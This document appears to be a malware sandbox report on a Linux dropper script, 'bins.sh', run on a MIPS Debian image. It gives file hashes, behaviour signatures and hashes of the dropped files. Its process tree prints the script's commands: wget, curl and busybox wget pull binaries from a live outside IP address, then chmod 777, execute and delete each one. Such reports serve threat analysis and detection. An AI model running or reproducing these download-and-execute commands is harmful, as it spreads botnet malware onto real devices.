Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    27-10-2024 21:13

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    7b4d271e102cd41b604d6fea5d979e2d

  • SHA1

    56b5d99bae8b5353d96d700fda3d30d396cc9828

  • SHA256

    56f6cd50075fc25241f07867a21d2a0f3b000cd7a9e8baac6a4bb1e0bdb60c91

  • SHA512

    ac1884092a54f7829359fccf4958bfc2add2cc2a89006fc0fadd30221a55d9c559a91e0a83747d00161c63e152fef77f819c20574cbd81fb4bdde05f1ed486c5

  • SSDEEP

    192:C83Wep8P79w808A8uBpzuRtUltYv3WfjIK3qRtUlta808A8uBpKv3WfjaB83hP7W:Crep8P79w808A8uBpzyv3WfjIK38808f

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Reads runtime system information 6 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:696
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:698
        • /usr/bin/wget
          wget http://87.120.126.196/bins/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms
          2⤵
          • Writes file to tmp directory
          PID:703
        • /usr/bin/curl
          curl -O http://87.120.126.196/bins/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:716
        • /bin/busybox
          /bin/busybox wget http://87.120.126.196/bins/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms
          2⤵
          • Writes file to tmp directory
          PID:723
        • /bin/chmod
          chmod 777 GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms
          2⤵
          • File and Directory Permissions Modification
          PID:726
        • /tmp/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms
          ./GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms
          2⤵
          • Executes dropped EXE
          PID:727
        • /bin/rm
          rm GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms
          2⤵
            PID:729
          • /usr/bin/wget
            wget http://87.120.126.196/bins/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt
            2⤵
            • Writes file to tmp directory
            PID:730
          • /usr/bin/curl
            curl -O http://87.120.126.196/bins/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:732
          • /bin/busybox
            /bin/busybox wget http://87.120.126.196/bins/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt
            2⤵
            • Writes file to tmp directory
            PID:733
          • /bin/chmod
            chmod 777 zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt
            2⤵
            • File and Directory Permissions Modification
            PID:734
          • /tmp/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt
            ./zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt
            2⤵
            • Executes dropped EXE
            PID:735
          • /bin/rm
            rm zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt
            2⤵
              PID:737
            • /usr/bin/wget
              wget http://87.120.126.196/bins/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF
              2⤵
              • Writes file to tmp directory
              PID:738
            • /usr/bin/curl
              curl -O http://87.120.126.196/bins/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:739
            • /bin/busybox
              /bin/busybox wget http://87.120.126.196/bins/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF
              2⤵
              • Writes file to tmp directory
              PID:740
            • /bin/chmod
              chmod 777 xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF
              2⤵
              • File and Directory Permissions Modification
              PID:743
            • /tmp/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF
              ./xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF
              2⤵
              • Executes dropped EXE
              PID:744
            • /bin/rm
              rm xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF
              2⤵
                PID:747
              • /usr/bin/wget
                wget http://87.120.126.196/bins/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs
                2⤵
                • Writes file to tmp directory
                PID:748
              • /usr/bin/curl
                curl -O http://87.120.126.196/bins/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:757
              • /bin/busybox
                /bin/busybox wget http://87.120.126.196/bins/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs
                2⤵
                • Writes file to tmp directory
                PID:788
              • /bin/chmod
                chmod 777 CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs
                2⤵
                • File and Directory Permissions Modification
                PID:796
              • /tmp/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs
                ./CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs
                2⤵
                • Executes dropped EXE
                PID:797
              • /bin/rm
                rm CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs
                2⤵
                  PID:799
                • /usr/bin/wget
                  wget http://87.120.126.196/bins/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa
                  2⤵
                  • Writes file to tmp directory
                  PID:800
                • /usr/bin/curl
                  curl -O http://87.120.126.196/bins/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:834
                • /bin/busybox
                  /bin/busybox wget http://87.120.126.196/bins/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa
                  2⤵
                  • Writes file to tmp directory
                  PID:835
                • /bin/chmod
                  chmod 777 jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa
                  2⤵
                  • File and Directory Permissions Modification
                  PID:836
                • /tmp/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa
                  ./jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa
                  2⤵
                  • Executes dropped EXE
                  PID:837
                • /bin/rm
                  rm jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa
                  2⤵
                    PID:839
                  • /usr/bin/wget
                    wget http://87.120.126.196/bins/DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB
                    2⤵
                    • Writes file to tmp directory
                    PID:840
                  • /usr/bin/curl
                    curl -O http://87.120.126.196/bins/DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB
                    2⤵
                    • Reads runtime system information
                    PID:841

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/CApM71rTkzSjYcX0rpnoxmCwpYe4hB9BRs

                  Filesize

                  80KB

                  MD5

                  22c527269cbd9b42f4ade79f52757efb

                  SHA1

                  c2456188a49af93b0d07af2a7cc1346d5be510bd

                  SHA256

                  100042d7138b4348a13c54c191d501d125b7fea7631382e7d0e9d7251057ce97

                  SHA512

                  7b7cb4d8307c0437163cdbfa349f1285cfa26c25ec856f8b4d4cebf8f71cae87e74de8f3c0f29ef2789168a4499bfe95007d7d524ed734e3eb4ac0d0e4e09b53

                • /tmp/DClRpPhKWm7jbpiA8C2DV4zvRlujWEQheB

                  Filesize

                  108KB

                  MD5

                  c97a9c55ddb153e8bfce38f201d2cffb

                  SHA1

                  3970452f27327f98c2e3fdcabf0390067b48bd62

                  SHA256

                  138a80e023ab0bbb8b2259cf3633c94c39e6f68df2be2ad01ef08590249e662c

                  SHA512

                  1734a2e256f90d99d73c70d0faa5b3d24d39a2e9a60dec0c138e75ae0e1793edafb408e1f2aaa2692f40265183faea1d4141b271fb67543633a412817f9fd11e

                • /tmp/GTsKuVj4s0hueFlloUzz3ytEb6VMBaW6Ms

                  Filesize

                  100KB

                  MD5

                  3b78bb645b81d600c30713d416f666be

                  SHA1

                  23796112f2cce2afb2217498b5ecf2801ab550f2

                  SHA256

                  d52f8bcb15a590aa5624c446091f1cd0705b68e4647debaeecf8cfa1fe425bd2

                  SHA512

                  9532ede2d78f1f62f291c8d8d4023c9c579a0bdd042ca11af179adcab96ac2eb178ecb34b9e4b99a33f828694b9839abebabd2ef57dd36d1936027bad1987cf9

                • /tmp/jvViiUTrVHYbd3MPLT2sqvuMltbJsZTUOa

                  Filesize

                  122KB

                  MD5

                  aadb8cc4b6eac7fce760c09262693884

                  SHA1

                  b55178ff3605f4bbfc9286d4c8ac445673232217

                  SHA256

                  b254f9a6df1e7aae5181abf014b9d574c959ab71bdfd3a2b21022446c583d843

                  SHA512

                  5567998215fc9389efeb34ee57e59db4141044bbb1f06cac365565681226836b515c8c8cc17931e72e71d4240a5f433aebb8dfe67b2463ef800f59c86561a62c

                • /tmp/xVq2EhWxzvf5Gccyzr98v9YbrJkL9zYNVF

                  Filesize

                  101KB

                  MD5

                  8d0f8d45165dc1f3ba334ce75be39621

                  SHA1

                  1d5baece9d5af3885276735c3c20d28e161e00ff

                  SHA256

                  17441ed8bf165953a69907fb286dd47f2de3f94b744da25c889f86514b904791

                  SHA512

                  a8b032ce95f8a70b8c8c0b60b711d379706938c571bcb5cfd7fd16dac64c7d005987169abfd5d0d53b2e1da14eb1bd24cf913c7202f5855a9e4f0d80ce86f5e7

                • /tmp/zSu3Rig2tv4lY9srLgbuCuyUVOeytO0aWt

                  Filesize

                  101KB

                  MD5

                  a7e686eb3f74b104a5520f08cfd54eb5

                  SHA1

                  58b5d9571c85c6a7efc4e57111c3b8e2b2c9bb6b

                  SHA256

                  617734b61c7e230a72fba8cb8b361bda96cc2d8f40ee358c44a60f1d9b48ab07

                  SHA512

                  2767d9a7f71319334578015b133474217901747a6e21b0cdc2d591205c2862220e1730bbcee86ff372b2f2261e25bb64d021f9826ce9332d037b5db1c2ea68df